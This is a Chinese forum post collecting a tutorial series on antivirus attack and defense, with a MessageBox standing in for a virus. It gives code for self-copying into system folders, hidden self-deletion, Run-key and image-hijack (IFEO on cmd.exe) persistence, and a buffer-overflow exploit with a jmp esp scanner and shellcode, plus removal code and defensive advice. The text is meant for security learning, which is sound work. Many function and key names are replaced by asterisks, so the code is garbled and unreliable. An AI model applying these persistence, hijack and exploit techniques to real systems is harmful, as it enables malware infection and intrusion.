个人分享反病毒攻防策略研究

2015/2/16 12:17:00  人气 880    计算机网络论坛  
第一页目录

第二页反病毒攻防研究第001篇:自我复制与自删除

第三页反病毒攻防研究第002篇:利用注册表实现自启动

第四页反病毒攻防研究第003篇:简单程序漏洞的利用

第五页反病毒攻防研究第004篇:利用缝隙实现代码的植入

第六页反病毒攻防研究第005篇:添加节区实现代码的植入

第七页反病毒攻防研究第006篇:利用WinRAR与AutoRun.inf实现自启动

第八页反病毒攻防研究第007篇:简单木马分析与防范part1

第九页反病毒攻防研究第008篇:简单木马分析与防范part2

一、前言

《反病毒攻防研究》系列以计算机安全知识为基础,通过分析病毒木马实现的常用手法,来讨论反病毒木马的技术。在这里,会由浅入深地进行攻防模拟,不断地提高我们的防范意识与反病毒木马的技术水平。我只会在某一项病毒木马技术有破解方法的前提下,才会提出并在此讨论这项技术。

如无特别说明,这一系列的所有程序,均已经在Windows XP Professional SP3操作系统下的VC++6.0中测试通过。

这一系列的研究,建立在假设MessageBox就是一个病毒的基础之上,只要弹出(You have been hacked!)对话框,就认为计算机中了病毒。
那么之后的一切研究,就围绕着如何让这个MessageBox对话框弹出(模拟中了病毒),而最为重要的是讨论如何避免这个对话框弹出(病毒防范模拟)来展开。



二、贯穿始终的“病毒代码”

以下是贯穿于本系列始终的,用于模拟“病毒”的MessageBox代码:

[cpp] view plaincopyprint?
#include<windows.h>
int main()
{
MessageBox(0,“You have been hacked! (by J.Y.)“,“Warning“,0);
return 0;
}
这段程序编译连接成功后会产生一个EXE文件,一旦双击打开了这个文件,那么程序就会执行并弹出对话框,提示用户中了“病毒”。

所以最简单的躲过病毒侵害的方法就是不要运行那些来历不明的可执行程序,不去主动双击,病毒自然也就无法运行了。



三、实现自我复制与自删除

一般来说,病毒木马喜欢将自身复制到系统目录(system32)以及Windows目录下,实现自身的隐藏,让用户以为这是正常的系统文件。(我这里为了方便查找,并没有对复制到系统文件夹以及Windows目录中的Hacked.exe进行改名,其实完全可以将其改成一个如同系统文件的文件名,这样就更难发现了)那么我们编写一个函数来实现这个功能:
[cpp] view plaincopyprint?
void Copy*f()
{
char sz*fName[MAX_PATH] = {0};
char szWindowsPath[MAX_PATH] = {0};
char szSystemPath[MAX_PATH] = {0};
char szTmpPath[MAX_PATH] = {0};

//获得自身程序所在路径
GetModuleFileName(NULL,sz*fName,MAX_PATH);
//获得Windows目录
GetWindowsDirectory(szWindowsPath,MAX_PATH);
//获得系统目录
GetSystemDirectory(szSystemPath,MAX_PATH);

strcat(szWindowsPath,”\\Hacked.exe”);
strcat(szSystemPath,”\\Hacked.exe”);

CopyFile(sz*fName,szWindowsPath,FALSE);
CopyFile(sz*fName,szSystemPath,FALSE);
}
但是仅仅这样还不够。因为真正的木马病毒,在首次运行后,往往还会消失,这就是自删除功能。自删除最简单的方法就是创建一个“.cmd”的批处理文件。批处理文件中通过DOS命令del来删除可执行文件,再通过del删除自身,其实现代码如下:
[cpp] view plaincopyprint?
void **f()
{
HANDLE hFile = *File(“Del*f.cmd”,
GENERIC_WRITE,FILE_SHARE_READ,NULL,*_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
return;
}

char szBat[MAX_PATH] = {0};

//“病毒”文件删除代码
strcat(szBat,”del Hacked.exe”);
strcat(szBat,”\r\n”);
//批处理自身删除代码
strcat(szBat,”del Del*f.cmd”);

DWORD dwNum = 0;

WriteFile(hFile,szBat,strlen(szBat)+1,&dwNum,NULL);

CloseHandle(hFile);

//隐藏运行批处理文件
Win*(“Del*f.cmd”,SW_HIDE);
}
使用批处理方式有一个缺点,那就是文件路径以及文件名中不能包含有空格,否则批处理就会失效。这里的批处理命令并没有加上路径名,那么默认删除当前路径下的文件,就不会出错。

以上实现了非常简单的“病毒”行为,即将自身复制到系统敏感目录,之后删除自身以实现隐藏。对于“病毒”的编码部分,就讲到这里。



四、利用杀软进行检测

现在可以测试一下,看看一些杀毒软件对这个程序的看法。首先是金山的“火眼”,若显示危险行为监控,则“火眼”将其认定为可疑程序,并且分析得很到位,并没有冤枉我所编写的软件。由此可见,在计算机中安装一款杀软还是很有必要的。因为这个程序并没有做免杀,因此被查出有问题并不奇怪。而关于免杀技术,应该会放到比较后的章节中进行讨论了。
再看一下文件操作监控,(如果想知道本机的这两个目录分别是什么,可以在命令行模式下输入“set system”以及“set windir”)。至此,“火眼”已经给了我们较为详尽的分析,那么接下来,有必要利用其它的杀软进行查杀,看看其它杀软的结果。在这里,可以利用在线查毒网站(https://www.virustotal.com)进行检测。
五、手工分析

一般来说,对于病毒木马,采用手工分析能够获知病毒木马的详细运行流程。而且手工分析往往比用杀软查杀更为准确,只是效率较低。一般的分析都是在虚拟机下进行,但由于我所编写的程序仅仅是一个对话框,并没有什么恶意,那么直接在真机下运行即可。逆向分析分为静态与动态分析,不同的分析需要不同的软件来进行,这里我采用的是IDA Pro来进行静态分析。

由于代码比较简单并且也没有加密,那么使用IDA很快就能找到MessageBox函数:

[plain] view plaincopyprint?
.text:0040136A push 0 ; uType
.text:0040136C push offset Caption ; “Warning“
.text:00401371 push offset Text ; “You have been hacked!(by J.Y.)“
.text:00401376 push 0 ; hWnd
.text:00401378 * ds:MessageBoxA
接下来会有两个函数的调用:

[plain] view plaincopyprint?
.text:00401385 * sub_401005
.text:0040138A * sub_40100A
进入每个调用分别查看,首先是sub_401005:

[plain] view plaincopyprint?
.text:004010B4 push 104h ; nSize
.text:004010B9 lea eax, [ebp+ExistingFileName]
.text:004010BF push eax ; lpFilename
.text:004010C0 push 0 ; hModule
.text:004010C2 * ds:GetModuleFileNameA
.text:004010C8 cmp esi, esp
.text:004010CA * __chkesp
.text:004010CF mov esi, esp
.text:004010D1 push 104h ; uSize
.text:004010D6 lea ecx, [ebp+NewFileName]
.text:004010DC push ecx ; lpBuffer
.text:004010DD * ds:GetWindowsDirectoryA
.text:004010E3 cmp esi, esp
.text:004010E5 * __chkesp
.text:004010EA mov esi, esp
.text:004010EC push 104h ; uSize
.text:004010F1 lea edx, [ebp+Dest]
.text:004010F7 push edx ; lpBuffer
.text:004010F8 * ds:GetSystemDirectoryA
.text:004010FE cmp esi, esp
.text:00401100 * __chkesp
.text:00401105 push offset Source ; “\\Hacked.exe“
.text:0040110A lea eax, [ebp+NewFileName]
.text:00401110 push eax ; Dest
.text:00401111 * _strcat
.text:00401116 add esp, 8
.text:00401119 push offset Source ; “\\Hacked.exe“
.text:0040111E lea ecx, [ebp+Dest]
.text:00401124 push ecx ; Dest
.text:00401125 * _strcat
.text:0040112A add esp, 8
.text:0040112D mov esi, esp
.text:0040112F push 0 ; bFailIfExists
.text:00401131 lea edx, [ebp+NewFileName]
.text:00401137 push edx ; lpNewFileName
.text:00401138 lea eax, [ebp+ExistingFileName]
.text:0040113E push eax ; lpExistingFileName
.text:0040113F * ds:CopyFileA
.text:00401145 cmp esi, esp
.text:00401147 * __chkesp
.text:0040114C mov esi, esp
.text:0040114E push 0 ; bFailIfExists
.text:00401150 lea ecx, [ebp+Dest]
.text:00401156 push ecx ; lpNewFileName
.text:00401157 lea edx, [ebp+ExistingFileName]
.text:0040115D push edx ; lpExistingFileName
.text:0040115E * ds:CopyFileA
反汇编出来的代码能够很清楚地看到整个程序的运行流程,可以看到都调用了哪些API函数,每个函数的参数是什么,由于比较简单,所以不再赘述。接下来是sub_40100A的反汇编代码:

[plain] view plaincopyprint?
.text:00401200 push 0 ; hTemplateFile
.text:00401202 push 80h ; dwFlagsAndAttributes
.text:00401207 push 2 ; dwCreationDisposition
.text:00401209 push 0 ; lpSecurityAttributes
.text:0040120B push 1 ; dwShareMode
.text:0040120D push 40000000h ; dwDesiredAccess
.text:00401212 push offset CmdLine ; “Del*f.cmd“
.text:00401217 * ds:*FileA
可见这段代码调用了*FileA函数,并且创建一个名为“Del*f.cmd”的文件。至此,通过反汇编我们已经清楚了整个程序的功能,接下来就是利用以上的分析来杀掉这个程序。



六、删除“病毒”

经过以上分析可以知道,这个程序会复制自身到系统目录和Windows目录,然后创建一个批处理文件用于删除自身。之前也讲过,一般来说,不去运行不知名的程序就不会中病毒。但是对于这个程序而言,运行之后,对话框已经弹出,表明计算机已经中了“病毒”,虽然经过分析发现这个“病毒”并没有后续可疑行为,但是依旧有必要把“病毒”从系统中删掉。由于这个“病毒”比较简单,所以直接在对应的目录下删除“病毒”文件即可。最简单的方式就是直接通过鼠标右键的“删除”即可。但是也可以在命令行模式下输入:
[plain] view plaincopyprint?
del /f %windir%\Hacked.exe & del /f %windir%\system32\Hacked.exe
或者利用批处理,可以利用记事本建立一个.bat文件,然后写进以下内容:

[plain] view plaincopyprint?
@echo off
del /f %windir%\Hacked.exe & del /f %windir%\system32\Hacked.exe
保存之后双击运行该批处理文件即可。而这两种方式,也是手工查杀病毒木马的常用方法。

七、小结
本章模拟了病毒木马的常用手法——复制自身到系统目录并删除自身,还简单介绍了如何利用在线查毒工具以及手工对这个“病毒”进行查杀。这款“病毒”采取的手法比较简单,处理也是比较容易,但是却可以为以后的研究打下良好的基础。
一、前言

我在*篇文章中说到,一般来讲,用户只要不去双击病毒木马,那么它就不会运行。说到运行,其实实现病毒木马自运行的方式有很多,但是前提都是需要有人对其进行双击操作,从而启动病毒木马的自运行功能。

而这次我主要讨论的是利用注册表实现“病毒”(对话框)的自启动,准确来说是,当有用户第一次双击运行了“病毒”(对话框)程序后,它会在每次开机时实现自启动。这一方法多被木马所采用,因为木马要实现远程控制,就需要木马服务器端时刻在线,这样黑客就可以利用客户端来操控被植入木马的用户的计算机了。而在最后,我依然要对如何处理这种自启动技术进行论述,彻底将病毒木马所扼杀。



二、常用的注册表启动项

利用注册表相关的注册表项实现程序的自启动是一种很常见的方法,注册表中可被利用的表项非常多,常见的如下:

1. Run注册表键

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

需要注意的是,这里的RunOnce只会运行一次,之后该表项内容就自动删除。
2. Load注册表键

HKCU \ Software\Microsoft\WindowsNT\CurrentVersion\Windows\load

3. Userinit注册表键

HKLM \ SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

通常该注册键下面有一个userinit.exe,但这个键允许指定用逗号分隔的多个程序,例如:userinit.exe,OSA.exe。

下面通过编程修改HKCU\Software\Microsoft\Windows\CurrentVersion\Run为例,将我们的对话框在开机时实现自启动:

[cpp] view plaincopyprint?
void AddReg()
{
char RegName[]=“Software\\Microsoft\\Windows\\CurrentVersion\\Run“;
char szBuf[MAX_PATH];
HKEY hKey = NULL;

strcpy(szBuf,“%windir%\\Hacked.exe“);
RegOpenKey(HKEY_CURRENT_USER,RegName,&hKey);
RegSetValueEx(hKey, //subkey handle
“Hacked“, //value name
0, //must be zero
REG_EXPAND_SZ, //value type
(LPBYTE)szBuf, //pointer to value data
strlen(szBuf)+1 ); //length of value data
RegCloseKey(hKey);
}
将上述代码加入到*章的Main函数中,重启计算机后,“病毒”就可实现自运行。可以修改上述代码中相应的注册表代码,以添加到不同的注册表项中实现自启动。
这里再讲一下整个程序的执行流程。首先当双击这个可执行文件后,会弹出对话框,提示用户“中毒”,之后单击“确定”,对话框消失,程序将自身复制到Windows目录以及系统目录中,之后创建并执行批处理文件以删除自身与该批处理,最后将Windows目录下的Hacked.exe添加到注册表中,以实现自启动。

但是需要说明的是,在装有杀毒软件的计算机上运行此程序,杀软往往会提示开机启动项被修改, 这说明修改注册表启动项的位置确实是一项可疑操作,是很容易被杀软所发现的。上述功能也可以用批处理实现:代码如下:
[plain] view plaincopyprint?
@echo off
echo Windows Registry Editor Version 5.00 >>1.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] >>1.reg
echo “Hacked.exe“=“C:\\Windows\\Hacked.exe“ >>1.reg
regedit /s 1.reg
del /f 1.reg
上述批处理代码会首先创建一个注册表文件(REG),将相应的代码写入该文件中,运行后再删除该注册表文件。

当然了,存在更好的方式实现程序的隐藏启动,这将在以后的文章中论述。



三、利用映像劫持实现程序的启动

这里既然提到了注册表,那么还有一个关键的注册表项需要说明,那就是映像劫持,位于注册表HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File*ution *下。映像劫持的本意是为一些在默认系统中运行时可能引发错误的程序执行体提供特殊的环境设定,它对一般用户意义不大,相反,它容易被病毒利用。有些病毒利用这招来对付我们的杀毒软件或是其他的一些安全分析工具,其实我们也可以以牙还牙,用这招来对付病毒,让病毒无法启动,但前提是该病毒的名称不能与系统的主要进程名称相同,如果相同的话可能使系统无法工作。

举例来说,若不希望cmd.exe在电脑上运行,取而代之的是我们的对话框,那么可以在注册表的IFEO路径下添加名为cmd.exe的项,再在右边新建一个字符串值,命名为Debugger,再在里面填上我们想要运行的对话框的路径即可。代码如下:

[cpp] view plaincopyprint?
void AddIFEO()
{
char RegName[]=“SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File *ution *s\\cmd.exe“;
char szBuf[MAX_PATH];
HKEY hKey = NULL;

strcpy(szBuf,“C:\\Windows\\Hacked.exe“);
Reg*Key(HKEY_LOCAL_MACHINE, RegName,&hKey);
RegSetValueEx(hKey, //subkey handle
“Debugger“, //value name
0, //must be zero
REG_SZ, //value type
(LPBYTE)szBuf, //pointer to value data
strlen(szBuf)+1 ); //length of value data
RegCloseKey(hKey);
}
批处理代码如下:

[plain] view plaincopyprint?
@echo off
echo Windows Registry Editor Version 5.00 >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File *ution *s\cmd.exe] >>1.reg
echo “Debugger“=“C:\\Windows\\Hacked.exe“ >>1.reg
regedit /s 1.reg
del /f 1.reg
这里需要特别说明的是,当“病毒”运行完一次后,当我们想要运行cmd.exe时,由于上述程序劫持了cmd.exe,所以会直接触发“病毒”。而“病毒”程序在单击确定后会调用DOS下的批处理实现自身的删除,而这时相当于打开了cmd.exe,但是由于映像劫持的作用,命令行窗口无法打开,就会再次打开“病毒”程序,如此循环往复,就可以发现,对话框关不掉。这时需要通过任务管理器直接将Hacked.exe关闭。
四、在线检测 “病毒”程序

与*个程序相比,这次的版本增加了注册表的操作,以实现自启动,先用“火眼”进行分析, 通过“火眼”的点评,我们的程序被分析得一清二楚。确实是采用了映像劫持的手段,并添加了开机自启动项。而映像劫持则被“火眼”定义为非常危险的行为。而我的计算机上安装的杀软并未报毒,个人感觉可能是因为我所编写的程序不会造成什么危害,而我的程序确实是无害的。

那么接下来还需要使用其它的杀软对其进行检测,依旧是通过在线查毒网站VirusTotal对我的程序进行检测,它快捷方便,以后我每写一个新的版本,都会在这个网站以及“火眼”进行检测。
比*篇文章的在线查毒结果,可见这次多了一个NOD32,也许这款杀软对注册表操作或者是映像劫持比较敏感,在此也不再赘述。



五、“病毒”的杀除

随着程序功能的增多,那么收尾工作也会越来越多,*篇文章只要删除两个“病毒”文件就可以了,但是这次还要处理注册表项,结合“火眼”进行处理,结合其得出的信息就可以进行专杀工具的编写。其实*篇文章最后所讲的用于删除“病毒”文件的批处理代码,就可以认为是起到了专杀的效果。以后在文章的最后,我都会附上针对于目前程序的专杀代码。“病毒”在进化,那么我的专杀工具也会不断加强。现在我所做的,相当于是手动查杀病毒木马,这就必须要首先要弄清楚程序的原理,比如创建了什么文件,修改了哪些注册表项,或者劫持了哪些进程等。获取充分的信息之后,制作专杀工具其实是一件很简单的事情,可以采用编码方式,也可以使用专门的软件自动生成专杀工具。所以难点就在于对病毒木马原理的分析。现在我的程序还比较简单,无需使用太复杂的分析技术,随着未来讨论的深入,分析技术也会随着病毒木马的日益复杂而日益加深。

一般来说,病毒木马的专杀工具可以用C/C++来编写,也可以直接用批处理解决,但是对于本程序来说,由于它劫持了cmd.exe,所以批处理程序无法执行,执行批处理程序只会帮助“病毒”文件不断打开,因此这次的专杀工具选用C/C++来编写。

以下代码实现删除相应注册表项的操作:

[cpp] view plaincopyprint?
void KillHackedReg()
{
char RegIFEO[] = “SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File *ution *s“;
char RegRun[] = “Software\\Microsoft\\Windows\\CurrentVersion\\Run“;
HKEY hKeyHKLM = NULL;
HKEY hKeyHKCU = NULL;

//删除Run下的相应键值
RegOpenKey(HKEY_CURRENT_USER,RegRun,&hKeyHKCU);
Reg*Value(hKeyHKCU,“Hacked“);
RegCloseKey(hKeyHKCU);

//删除cmd.exe的映像劫持
RegOpenKey(HKEY_LOCAL_MACHINE,RegIFEO,&hKeyHKLM);
Reg*Key(hKeyHKLM,“cmd.exe“);
RegCloseKey(hKeyHKLM);
}
以下代码实现删除“病毒”文件的操作:
[cpp] view plaincopyprint?
void KillHackedFile()
{
char szWindowsHacked[MAX_PATH] = {0};
char szSystemHacked[MAX_PATH] = {0};

GetWindowsDirectory(szWindowsHacked,MAX_PATH);
GetSystemDirectory(szSystemHacked,MAX_PATH);

strcat(szWindowsHacked,“\\Hacked.exe“);
strcat(szSystemHacked,“\\Hacked.exe“);

*File(szWindowsHacked);
*File(szSystemHacked);
}
专杀工具其实就是基本的API函数的调用,在此也不再讨论。



六、小结

本篇文章讨论了利用注册表实现程序的自启动,特别是映像劫持,还能使得批处理代码运行失效,因此采用C/C++进行专杀工具的编写还是比较万能,往往不会受到阻碍。

以上讨论的内容都是十分浅显的原理,但是由此而变化而来的一些技术方法,总会被现实中的病毒木马所利用,从而变成复杂难缠的恶意程序。但是无论怎样,我们都是有办法对付的。所以无需谈毒色变。随着我们安全技术水平的提高,病毒木马就无机可乘。

一、前言

之前文章中所研究的“病毒”都是可执行文件(EXE格式),都是传统意义上的恶意程序,它们在被用户双击运行后,就开始执行自身代码,实现相应的功能,从而对用户的计算机产生威胁。而这次我打算讨论一种特殊的情况,也就是利用正常程序所存在的漏洞,仅仅通过文本文档(TXT格式),来实现我们的对话框的启动。所以这篇文章的讨论重点就在于简单的漏洞发掘以及运用ShellCode实现漏洞的利用。在此不会讨论复杂的情况,仅仅用浅显的例子来说明这些问题,因为即便是现实中的复杂情况,其基本原理是相似的。这也是为以后的篇章中讨论更加复杂的情况打下基础。



二、编写含有漏洞的程序

在现今的软件开发中,尽管程序员的水平在提高,编程技巧在不断进步,但是大部分人对于计算机安全的概念还是比较模糊的,真正掌握计算机安全技术的人毕竟还是少数。特别是计算机安全往往还涉及到系统底层原理、汇编甚至是机器码,这就更加令人望而却步。我在这里讨论的就是一个含有漏洞的程序,它含有缓冲区溢出漏洞。缓冲区溢出攻击是一种非常有效而常见的攻击方法,在被发现的众多漏洞中,它占了大部分。

以下就是本次所研究的程序:


[cpp] view plaincopyprint?
#include <stdio.h>
#include <st*.h>
#include <windows.h>
#define PASSWORD “1234567890“

int CheckPassword(char *pPassword)
{
int nCheckFlag;
char szBuffer[30];
nCheckFlag = strcmp(pPassword, PASSWORD);
strcpy(szBuffer, pPassword); //存在溢出漏洞
return nCheckFlag;
}

int main()
{
int nFlag = 0;
char szPassword[1024];
FILE *fp;
LoadLibrary(“user32.dll“);
if(!(fp=fopen(“password.txt“, “rw+“)))
{
return 0;
}
fscanf(fp,“%s“,szPassword);
nFlag=CheckPassword(szPassword);
if(nFlag)
{
printf(“Incorrect password!\n“);
}
else
{
printf(“Correct password!\n“);
}
fclose(fp);
getchar();
return 0;
}
这里来讲解一下程序的运行流程。main函数中首先会打开当前目录下的password.txt文件,然后调用CheckPassword函数,该函数会对从password.txt文件读取出来的内容与字符串“1234567890”进行比较,用于验证密码是否正确,之后将用户所输入的密码拷贝到子函数自己创建的数组中,再返回到主函数,最后对用户所输入的密码是否正确进行显示。

这个程序中之所以要用TXT文件来保存用户输入的密码,就是为了方便之后的讨论与观察。而在子函数中将用户输入的密码拷贝到一个数组中,仅仅是为了创造一个缓冲区溢出的漏洞,也是为了方便之后的讨论。在现实中,可能难以出现这样的情况。但是原理是一样的,缓冲区溢出漏洞出现的原因就是因为没能检测待拷贝数据的大小,而直接将该数据复制到另一个缓冲区中,从而使得恶意程序得到了攻击的机会。
三、漏洞原理的分析

不论是对于本篇文章所讨论的最简单的缓冲区溢出的漏洞,还是复杂的,可能会在未来的文章中讨论的堆溢出以及SEH的利用,其核心可以说都是利用了指针(或者说是相应的地址)来做文章。对于这次的程序来说,首先需要从反汇编的角度简单讲一下程序的执行原理。

主函数中会调用CheckPassword函数,那么在反汇编中,就需要找到调用该函数的位置,这个很简单:

[plain] view plaincopyprint?
004010F3 E8 0DFFFFFF * 00401005
之所以能很快确定函数的位置,是因为它在源程序中就在fscanf函数的后面,那么反汇编中,他的位置也在fscanf的后面。这里有必要简单说一下*的实现原理。它分为两步,第一步是向栈中压入当前指令在内存中的位置,即保存返回地址(EIP所保存的地址,也就是*的*条指令,EIP入栈);第二步是跳转到所调用函数的入口处。进入这个*,来到以下反汇编代码处:

[plain] view plaincopyprint?
00401020 55 push ebp
00401021 8BEC mov ebp,esp
00401023 83EC 64 sub esp,64
可以说每一个函数的开始,其反汇编结果都是这么几句。主要是三步:第一步需要保存当前栈帧状态值,以备后面恢复本栈帧时使用(EBP入栈);第二步将当前栈帧切换到新栈(将ESP值装入EBP,更新栈帧底部);第三步给新栈帧分配空间(把ESP减去所需空间的大小,抬高栈帧)。

这里需要说明的是,以上所分析的是程序的Debug版,如果是Release版,由于做了优化,可能会有些不同,但也是遵循基本原理,在这里就不再对Release版进行讨论。

现在来看看堆栈中的情况,按照内存地址递减的顺序,EBP相比EIP位于内存的低地址处,这两个寄存器在栈中是挨着的。再来看看CheckPassword函数结尾处的反汇编代码:
[plain] view plaincopyprint?
0040106C 8BE5 mov esp,ebp
0040106E 5D pop ebp
0040106F C3 retn
可见这里首先将esp指向了当前栈帧的栈底,之后从栈中弹出原始ebp的值,这样就实现了恢复栈帧的操作。之后的retn语句,就是再次弹出栈顶的值(EIP),并转去执行EIP所指向的语句,也就是之前的*的*条语句。

分析至此,就可以发现,我们可以通过修改EIP所保存的值(指令地址),来实现跳转到我们自己的“病毒代码”地址处的目的。当然这里我不会利用反汇编工具进行修改,而是直接运用password.txt这个文本文档来实现。四、定位EIP

知道了漏洞利用的原理,那么接下来就需要确定EIP的位置。EIP的位置尽管可以通过反汇编工具获得,但是在此我不想用这种简单的方法,而是运用Windows的报错对话框实现EIP的定位。当EIP被覆盖为一个无效地址后,系统就会提示出错,报错对话框就能够显示出来究竟是哪个地址(EIP)出错,这里可以通过一些小技巧来定位。

当然,每个人往往有自己认为最好的定位方法,我个人比较喜欢的方法是运用26个小写字母连同26个大写字母组成一长串数据进行测试,这样一次性就能够测试52个字节的长度。具体方法是将这52个字母写入password.txt文件,运行程序查看是否报错,如果不报错,就再写入52个字母,直至报错为止。幸运的是,在这个程序中,前52个字母就使得报错对话框弹出了,利用报错对话框定位EIP。

确定了EIP的位置,那么接下来就要确定应当给它赋以什么地址。这里当然可以利用反汇编软件在程序中寻找空余的位置,将代码写入,然后令EIP指向该代码处。但是这里我打算用更加巧妙的方法——jmp esp。我们可以将EIP指向内存中jmp esp的地址,然后将我们的程序的机器码(ShellCode)顺序从EIP处向下(地址高处)覆盖,这样jmp esp就能够直接跳到我们的代码处执行了。

首先编程序寻找jmp esp:
[cpp] view plaincopyprint?
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define DLL_NAME “user32.dll“

int main()
{
BYTE *ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary(DLL_NAME);
if(!handle)
{
printf(“load dll error!“);
exit(0);
}
ptr = (BYTE*)handle;

for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position]==0xFF && ptr[position+1]==0xE4)
{
int address = (int)ptr + position;
printf(“OPCODE found at 0x%x\n“, address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf(“END OF 0x%x\n“, address);
done_flag = true;
}
}
return 0;
}
上述程序中是在user32.dll中寻找jmp esp的机器码FFE4,会查找到很多的结果,选择其中的一个就可以。这里需要特别说明的是,不同的计算机不同的操作系统版本,所找到的jmp esp的地址可能会不一样,就是说jmp esp的地址往往并不是通用的。当然,也会有几个地址是跨版本的,这个在这里不讨论。这次我们选择截图中的第一个地址——0x77d93ac8。由于是小端显示,所以应当在“OPQR”的位置反向书写,即c83ad977。当然这里不能够直接用类似于记事本这样的软件进行编辑,而是需要用十六进制代码编辑器操作。



五、编写ShellCode

为了简单起见,我这里将“病毒”程序与上述漏洞程序放在同一目录下,并且为了编写方便,我这里将“病毒”名称更改为Hack.exe。为了实现“病毒”的启动,我不打算直接将“病毒”程序转化为ShellCode,毕竟那样的话工作量太大,而是编写一个能够启动“病毒”程序的ShellCode。这里我使用Win*函数用于“病毒”的启动,最后再用ExitProcess函数实现程序的正常退出。查询这两个函数句柄的代码如下:
[cpp] view plaincopyprint?
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“kernel32“);
//获取user32.dll的地址
printf(“msvcrt LibHandle = //x%x\n“, LibHandle);
//获取MessageBoxA的地址
ProcAdd=(MYPROC)GetProcAddress(LibHandle,“Win*“);
printf(“system = //x%x\n“, ProcAdd);

return 0;
}
上述程序首先需要知道被查询函数所在的动态链接库,先查出动态链接库的地址,之后利用这个地址,从而查询相应API函数的句柄。可以知道Win*的句柄为0x7c863231,那么同理,ExitProcess函数的句柄为0x7c81bfa2。

至此,我们已经获得了足够的信息,接下来就可以进行ShellCode的编写了,但是一般来说,我们不会特意去记忆十六进制的机器码,因此都是先写出汇编程序,然后利用相应的软件通过转换,从而查看其机器码。具体的方法有很多,我还是比较倾向于在VC++6.0中以内嵌汇编语言的形式进行编写:
[plain] view plaincopyprint?
_asm
{
xor ebx,ebx
push ebx
push 0x6578652e
push 0x6b636148
mov eax,esp ;压入字符Hack.exe

push ebx
push eax
mov eax,0x7c863231
* eax ;调用Win*函数

push ebx
mov eax,0x7c81bfa2
* eax ;调用ExitProcess函数
}
这里需要把asm中的内容转化为机器码,VC++6.0就可以实现(也可以使用其它反汇编软件)。利用十六进制文件编辑器,将提取出来的机器码直接填写进password.txt中EIP的后面。
这里要说明的是,尽管以上仅仅是调用了非常简单的函数,但是实际上,不管是什么函数,其调用原理和上面是一样的,都是首先需要把参数从右至左入栈,然后*该函数所在的地址。为了增强可移植性,可以利用TEB获取相关函数的句柄,从而编写出通用性极高的ShellCode出来(这些高级方法可能会在以后的文章中讨论)。由此可见,漏洞可以很容易被恶意程序所利用。

当编辑完password.txt后,运行CheckPassword.exe程序。 由此可见,仅仅是通过修改password.txt就能够在神不知鬼不觉的情况下实现病毒的启动(尽管这一过程有诸多限制)。而这里所用到的Win*函数也多用于“下载者”中,它是一种功能单一的恶意程序,能够令受害的计算机到黑客指定的*地址去下载更多的恶意程序并运行。“下载者”体积小,易于传播,当它下载到病毒木马后,通常就使用诸如Win*这样的函数来运行病毒。



六、“病毒”的防范

漏洞的发掘与利用是一个较为高深的话题,在现实中,其发掘的难度是远远高于我在这里所举的例子的。高明的黑客手中往往掌握着一些不被软件生产厂家所知道的漏洞,他们利用这些软件漏洞,往往就能够为所欲为。所以,这就要求我们培养良好的安全编码习惯。在上述例子中,漏洞的出现就是因为使用了strcpy函数,更具体来说,因为我们没有对将要复制到缓冲区中的数据进行长度检验,导致了EIP被非法覆盖,跳去了不应该去的位置,执行了不该执行的代码。现实中的漏洞往往也是这个道理。所以在这种情况下,应当事先检验数据的长度,至少将strcpy替换成strncpy,尽管后者也存在危险,但至少会按照编程者要求的数据量的大小来拷贝数据,这就安全多了。当然我们系统版本的不断升级,在安全性方面也会不断进步。比如加入的Security Cookie就能够较好地对缓冲区溢出的问题进行防范。不过这也不是绝对安全的,毕竟在攻与防的对立统一中,技术是不断进步的。但是归根结底,只有在源头上做足功夫,才会让黑客们无从下手。



七、小结

本篇文章构造了一个特殊的环境——存在漏洞的程序——实现了“病毒”的自启动。由于关于漏洞的知识体系比较庞大且较为高深,我也只能用这个简单的程序来让大家看看冰山的一角。这里需要再次说明的是,现实中漏洞的原理和利用方法可以说和这个例子是差不多的。现实中可能需要我们编写出更为通用的ShellCode来实现我们想要完成的功能,这些会在以后的文章中进行讨论。本篇文章仅仅是为了打好基础,为未来更加高深的知识的探讨做好准备。
一、前言

现在很多网站都提供各式各样软件的下载,这就为黑客提供了植入病毒木马的良机。黑客可以将自己的恶意程序植入到正常的程序中,之后发布到网站上,这样当用户下载并运行了植入病毒的程序后,计算机就会中毒,而且病毒可能会接着感染计算机中的其他程序,甚至通过网络或者U盘,使得传播面积不断扩大。而本篇文章就来剖析病毒感染的实现原理,首先需要搜索正常程序中的缝隙用于“病毒”(用对话框模拟)的植入,之后感染目标程序以实现“病毒”的启动。当然,讨论完这些,我依旧会分析如何应对这种攻击方法,这才是本篇文章讨论的重点。



二、搜索程序中存在的缝隙。

病毒木马如果想对一个正常的程序写入代码,那么首先就必须要知道目标程序中是否有足够大的空间来让它把代码植入。一般来说,有两种方法,第一种就是增加一个节区,这样就有足够的空间来让病毒植入了,但是这样一来,不利于病毒的隐藏,如同告诉反病毒工程师“我就是病毒”一样,即便如此,我依旧会在后面的文章中讨论这种方法。第二种方法就是查找程序中存在的缝隙,然后再植入代码。因为在PE文件中,为了对齐,节与节之间必然存在未被使用的空间,这就是程序中存在的缝隙。只要恶意代码的长度不大于缝隙的长度,那么就可以将代码写入这个空间。这里讨论的就是这种方法的实现。

